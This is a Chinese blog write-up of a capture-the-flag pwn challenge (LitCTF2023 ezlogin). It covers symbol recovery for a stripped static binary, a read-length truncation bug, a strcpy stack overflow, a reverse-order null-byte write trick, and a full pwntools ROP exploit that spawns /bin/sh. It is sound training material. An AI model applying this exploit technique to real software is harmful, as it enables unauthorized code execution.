PWN> [LitCTF2023]ezlogin

发布于 2023-05-15  14 次阅读


学弟在 NSSCTF 打比赛遇到个不懂的来问我(问我这菜鸡干啥?)结果我给他完美误判了,罪过啊罪过 QAQ
wp 出来后研究这题的利用手法学到新东西了,浅浅记录一下

题目

题目除了 NX 其他啥保护也没开,比较友好

符号表恢复

IDA 一打开就是一大堆 sub 吓了我一跳,然后随便点点还发现了下面这样离谱的 CFG,加上最近看了点 ollvm 扁平化混淆就非常自然而然跑偏到 ollvm 混淆或虚拟机去了()

  • 后来查到这个形似虚拟机指令解释器的函数是__strcpy_sse2_unaligned()
  • SSE2 是 IA-32 架构的 SIMD 指令集
  • new bing 说其在strcpy中被调用来根据 CPU 的架构自动选择优化方式(指令级并行之类的)
  • 毕竟也是个难以通过算法优化的常用函数,感觉以前在 CSAPP 还是哪里看到过,没想到是这样实现的,长知识了

后来冷静下来才想起静态链接 + 删符号表这样的操作,于是试了试发现确实没想错

> ldd ./pwn4
        not a dynamic executable

然后就要考虑如何恢复符号表了
给 re 佬队友用插件恢复发现不行,无奈自己找资料尝试手动恢复

  • push0ebp/sig-database 下载各版本 libc 的符号表
  • 然后将符号表文件 copy 到path_to_IDA\sig\pc
  • 在 IDA 里shift + F5,右键Apply new signature ...,手动选自己导入的符号表就行了

由于不清楚出题人编译时使用的 glibc 版本,不对应的版本有时只能识别出十几个甚至识别不出来,所以需要耐心多试几个版本
另外最好先导入符号表后再反编译,否则似乎反编译出的结果还是原来的一大堆 sub

最后试了好久,发现libc6_2.27-0ubuntu2_amd64效果最好,反编译的结果可读性也已经很好了

静态分析

循环内不停地调用sub_400BD0并用返回值判定退出条件

__int64 sub_4005C0()
{
  __int64 v1; // [rsp+0h] [rbp-108h] BYREF

  setbuf((int *)off_6B97A8, 0LL);
  setbuf((int *)off_6B97A0, 0LL);
  setbuf((int *)off_6B9798, 0LL);
  while ( !sub_400BD0((__int64)&v1) )
    ;
  IO_puts("GoodTime.");
  return 0LL;
}

输入字符串并进行判定

_BOOL8 __fastcall sub_400BD0(__int64 a1)
{
  char v2[536]; // [rsp+0h] [rbp-218h] BYREF

  IO_puts("Input your password:");
  memset(v2, 0, 0x200uLL);
  if ( (unsigned __int8)_libc_read(0, v2, 0x200uLL) > 0x50u )
    sub_448450(-1);
  j_strcpy_ifunc(a1, v2);
  return strcmp(v2, "PASSWORD") == 0;
}

这个函数就是漏洞所在了
首先是看似做了长度限制的 read,但仔细观察可以发现 read 的返回值类型是unsigned __int8, 存在 int overflow,故可输入长度还可以在 0x100~0x150 之间,实际调试也发现确实如此,这给后面的溢出创造了条件
其次是v2有 0x218 大小,虽然不能通过read溢出sub_400BD0的栈帧,但可以通过strcpy让仅有 0x108 大小的 a1溢出sub_4005C0的栈帧

但还有两个特殊的情况:

  • 静态链接进去的库里似乎并没有systemexecve之类的函数
  • strcpy会对 \x00 进行截断

第一点比较好解决,我们自己构造 ROP 链调用 system call 就行了
第二点则不好解决,因为 payload 里必然会出现 \x00

我的思路最终卡在这里了,研究官方的 wp 后学到一个新操作:既然按顺序正着写不行那就倒着写

具体是怎么个做法呢,下面结合 exp 解释一下

exp

解析

首先先是一些设置参数和栈迁移相关的 gadget,还有 read、system call 和我们写入的目标 bss 段基址

pop_rdi = 0x400706
pop_rsi = 0x410043
pop_rdx = 0x448c95
pop_rdx_rsi = 0x44b249
pop_rax = 0x4005af
pop_rbp = 0x400b18
leave_retn = 0x475b22
syscall = 0x4012bc
libc_read = 0x448c80
bss = 0x6b6000

然后是一段准备溢出到sub_4005C0栈帧的 payload,由于sub_4005C0只有 a1 一个变量,所以其缓冲区大小和 a1 大小一致
payload 构造原理是:设置参数并调用 read 将伪造的栈帧写入 bss 段,然后篡改 rbp 并利用leave; retn指令来将栈迁移到 bss 段中

payload = p64(pop_rdi) + p64(0) + p64(pop_rdx_rsi) + p64(0x100) + p64(bss) + p64(libc_read) + p64(pop_rbp) + p64(bss) + p64(leave_retn)

然后重点来了,什么叫倒着写入 payload?总的来说就是利用密码不对就死循环的特点,用垃圾字节填充前面、payload 的字节收尾,利用死循环从后往前一个一个将 payload 写入栈中
注意不能用 sendline,因为其带有的回车符 \x0a 会破坏先前写入的 payload 字节

i = len(payload) - 1
while i >= 0:
    if payload[i] == 0:
        io.sendafter(b'password:', b'a' * (0x108 + i))
        i -= 1
    else:
        j = i
        while payload[j] != 0:
            j -= 1
        io.sendafter(b'password:', b'a' * (0x108 + j + 1) + payload[j + 1 : i + 1])
        i = j

然后就是输入正确密码结束函数,触发我们的 payload

io.sendlineafter(b'password:', b'PASSWORD\x00')

最后成功调用 read,在 bss 段中写入构造 system call 的 ROP 链,再结束函数时就能成功 getshell 了

payload = b'/bin/sh\x00' + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(59) + p64(syscall)
io.sendline(payload)

完整 exp

from pwn import *

io = process('./pwn4')
# io = remote('node1.anna.nssctf.cn',28971)

pop_rdi = 0x400706
pop_rsi = 0x410043
pop_rdx = 0x448c95
pop_rdx_rsi = 0x44b249
pop_rax = 0x4005af
pop_rbp = 0x400b18
leave_retn = 0x475b22
syscall = 0x4012bc
libc_read = 0x448c80
bss = 0x6b6000

payload = p64(pop_rdi) + p64(0) + p64(pop_rdx_rsi) + p64(0x100) + p64(bss) + p64(libc_read) + p64(pop_rbp) + p64(bss) + p64(leave_retn)

i = len(payload) - 1
while i >= 0:
    if payload[i] == 0:
        io.sendafter(b'password:', b'a' * (0x108 + i))
        i -= 1
    else:
        j = i
        while payload[j] != 0:
            j -= 1
        io.sendafter(b'password:', b'a' * (0x108 + j + 1) + payload[j + 1 : i + 1])
        i = j
io.sendlineafter(b'password:', b'PASSWORD\x00')

payload = b'/bin/sh\x00' + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(59) + p64(syscall)
io.sendline(payload)

io.interactive()

后记

这还是人家的新手赛题,我还误导了学弟,罪过啊罪过 QAQ